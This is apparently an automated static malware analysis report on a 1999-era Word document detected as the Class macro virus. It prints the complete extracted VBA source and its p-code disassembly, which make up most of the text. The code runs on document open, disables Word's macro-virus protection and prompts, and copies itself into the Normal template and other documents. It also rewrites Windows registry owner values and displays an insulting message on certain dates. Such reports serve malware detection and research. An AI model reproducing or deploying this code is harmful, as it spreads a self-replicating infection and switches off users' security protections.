Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6506bdab40d3f1aa…

MALICIOUS

Office (OLE)

52.5 KB Created: 1999-12-28 11:29:00 Authoring application: Microsoft Word 8.0 First seen: 2014-04-05
MD5: 137f42c5ec4ff88fa1f202f223142b09 SHA-1: 9ded09ff7d25f87fb72f495f5579eab5eb86278a SHA-256: 6506bdab40d3f1aa0def32cbbefca5cde85c34e37a92895d4eb2aa9fe8d58609
256 Risk Score

Heuristics 6

  • ClamAV: Doc.Trojan.Class-37 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-37
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
        .replaceline 1, "Sub AutoClose()"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16930 bytes
SHA-256: 04ca801f70b5eae10e80145cffe9b0581966dcce219ca2ae3ce31408abc45f78
Detection
ClamAV: Doc.Trojan.Class-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
Const REG_SZ As Long = 1
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
Const HKEY_CURRENT_USER As Long = &H80000001
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
Const HKEY_LOCAL_MACHINE As Long = &H80000002
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
Sub AutoOpen()
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
On Error GoTo out
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
Options.VirusProtection = False
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
Options.SaveNormalPrompt = False
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
Options.ConfirmConversions = False
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
If nt > 70 And ad > 0 Then GoTo out
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
If nt < 70 Then
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
    Set host = NormalTemplate.VBProject.VBComponents.Item(1)
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
    ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
End If
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
If Day(Now) = 14 And Month(Now) > 5 Then MsgBox "I Think " & Application.UserName & " is a big stupid jerk!", 0, "Class.Poppy"
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
host.codemodule.AddFromFile ("c:\class.sys")
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
With host.codemodule
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
    For x = 1 To 16
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
    .deletelines 1
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
    Next x
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
End With
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
If nt < 70 Then
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
    With host.codemodule
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
    .replaceline 1, "Sub AutoClose()"
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
    .replaceline 91, "Sub ToolsMacro()"
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
    For x = 70 To 81
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
        .deletelines 62
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
    Next x
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
    .replaceline 35, "    For x = 1 To 4"
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
    End With
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
End If
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
If nt < 70 Then
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
u = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion", 0, KEY_ALL_ACCESS, k)
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
u = RegSetValueExA(k, "RegisteredOwner", 0, REG_SZ, "VicodinES /CB /TNN", 1)
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
u = RegSetValueExA(k, "RegisteredOrganization", 0, REG_SZ, "-(Dr. Diet Mountain Dew)-", 1)
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
u = RegCloseKey(k)
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
End If
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
With host.codemodule
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
    For x = 2 To 104 Step 2
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
    .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
    Next x
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
End With
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
out:
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
If nt > 70 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
End Sub
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
Sub ViewVBCode()
'Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4
End Sub

' Processing file: /tmp/qstore_o97cyup5
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 9862 bytes
' Line #0:
' 	FuncDefn (Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long)
' Line #1:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #2:
' 	FuncDefn (Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long)
' Line #3:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #4:
' 	FuncDefn (Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long)
' Line #5:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #6:
' 	Dim (Const) 
' 	LitDI2 0x0001 
' 	VarDefn REG_SZ (As Long)
' Line #7:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #8:
' 	Dim (Const) 
' 	LitHI4 0x0001 0x8000 
' 	VarDefn HKEY_CURRENT_USER (As Long)
' Line #9:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #10:
' 	Dim (Const) 
' 	LitHI4 0x0002 0x8000 
' 	VarDefn HKEY_LOCAL_MACHINE (As Long)
' Line #11:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #12:
' 	FuncDefn (Sub AutoOpen())
' Line #13:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #14:
' 	OnError out 
' Line #15:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #16:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #17:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #18:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #19:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #20:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #21:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #22:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St ad 
' Line #23:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #24:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St nt 
' Line #25:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #26:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Gt 
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo out 
' 	EndIf 
' Line #27:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #28:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Lt 
' 	IfBlock 
' Line #29:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #30:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set host 
' Line #31:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #32:
' 	Ld host 
' 	MemLd New 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemSt New 
' Line #33:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #34:
' 	LitStr 0x000C "c:\class.sys"
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #35:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #36:
' 	EndIfBlock 
' Line #37:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #38:
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set host 
' 	EndIf 
' Line #39:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #40:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x000E 
' 	Eq 
' 	Ld Now 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x0005 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0008 "I Think "
' 	Ld Application 
' 	MemLd UserName 
' 	Concat 
' 	LitStr 0x0016 " is a big stupid jerk!"
' 	Concat 
' 	LitDI2 0x0000 
' 	LitStr 0x000B "Class.Poppy"
' 	ArgsCall MsgBox 0x0003 
' 	EndIf 
' Line #41:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #42:
' 	LitStr 0x000C "c:\class.sys"
' 	Paren 
' 	Ld host 
' 	MemLd codemodule 
' 	ArgsMemCall AddFromFile 0x0001 
' Line #43:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #44:
' 	StartWithExpr 
' 	Ld host 
' 	MemLd codemodule 
' 	With 
' Line #45:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #46:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0010 
' 	For 
' Line #47:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #48:
' 	LitDI2 0x0001 
' 	ArgsMemCallWith deletelines 0x0001 
' Line #49:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #50:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #51:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #52:
' 	EndWith 
' Line #53:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #54:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Lt 
' 	IfBlock 
' Line #55:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #56:
' 	StartWithExpr 
' 	Ld host 
' 	MemLd codemodule 
' 	With 
' Line #57:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #58:
' 	LitDI2 0x0001 
' 	LitStr 0x000F "Sub AutoClose()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #59:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #60:
' 	LitDI2 0x005B 
' 	LitStr 0x0010 "Sub ToolsMacro()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #61:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #62:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0046 
' 	LitDI2 0x0051 
' 	For 
' Line #63:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #64:
' 	LitDI2 0x003E 
' 	ArgsMemCallWith deletelines 0x0001 
' Line #65:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #66:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #67:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #68:
' 	LitDI2 0x0023 
' 	LitStr 0x0012 "    For x = 1 To 4"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #69:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #70:
' 	EndWith 
' Line #71:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #72:
' 	EndIfBlock 
' Line #73:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #74:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Lt 
' 	IfBlock 
' Line #75:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #76:
' 	Ld HKEY_LOCAL_MACHINE 
' 	LitStr 0x0029 "Software\Microsoft\Windows\CurrentVersion"
' 	LitDI2 0x0000 
' 	Ld KEY_ALL_ACCESS 
' 	Ld k 
' 	ArgsLd RegOpenKeyExA 0x0005 
' 	St u 
' Line #77:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #78:
' 	Ld k 
' 	LitStr 0x000F "RegisteredOwner"
' 	LitDI2 0x0000 
' 	Ld REG_SZ 
' 	LitStr 0x0012 "VicodinES /CB /TNN"
' 	LitDI2 0x0001 
' 	ArgsLd RegSetValueExA 0x0006 
' 	St u 
' Line #79:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #80:
' 	Ld k 
' 	LitStr 0x0016 "RegisteredOrganization"
' 	LitDI2 0x0000 
' 	Ld REG_SZ 
' 	LitStr 0x0019 "-(Dr. Diet Mountain Dew)-"
' 	LitDI2 0x0001 
' 	ArgsLd RegSetValueExA 0x0006 
' 	St u 
' Line #81:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #82:
' 	Ld k 
' 	ArgsLd RegCloseKey 0x0001 
' 	St u 
' Line #83:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #84:
' 	EndIfBlock 
' Line #85:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #86:
' 	StartWithExpr 
' 	Ld host 
' 	MemLd codemodule 
' 	With 
' Line #87:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #88:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	LitDI2 0x0068 
' 	LitDI2 0x0002 
' 	ForStep 
' Line #89:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #90:
' 	Ld x 
' 	LitStr 0x0001 "'"
' 	Ld Application 
' 	MemLd UserName 
' 	Concat 
' 	Ld Now 
' 	Concat 
' 	Ld Application 
' 	MemLd ActivePrinter 
' 	Concat 
' 	Ld Application 
' 	MemLd ActiveWindow 
' 	Concat 
' 	ArgsMemCallWith replaceline 0x0002 
' Line #91:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #92:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #93:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #94:
' 	EndWith 
' Line #95:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #96:
' 	Label out 
' Line #97:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #98:
' 	Ld nt 
' 	LitDI2 0x0046 
' 	Gt 
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #99:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #100:
' 	EndSub 
' Line #101:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #102:
' 	FuncDefn (Sub ViewVBCode())
' Line #103:
' 	QuoteRem 0x0000 0x003C "Rick Levis12/28/99 5:29:02 AMHP LaserJet 5M on LPT1:CAPGAIN4"
' Line #104:
' 	EndSub

Open this report in the interactive analyzer, or submit your own file for analysis.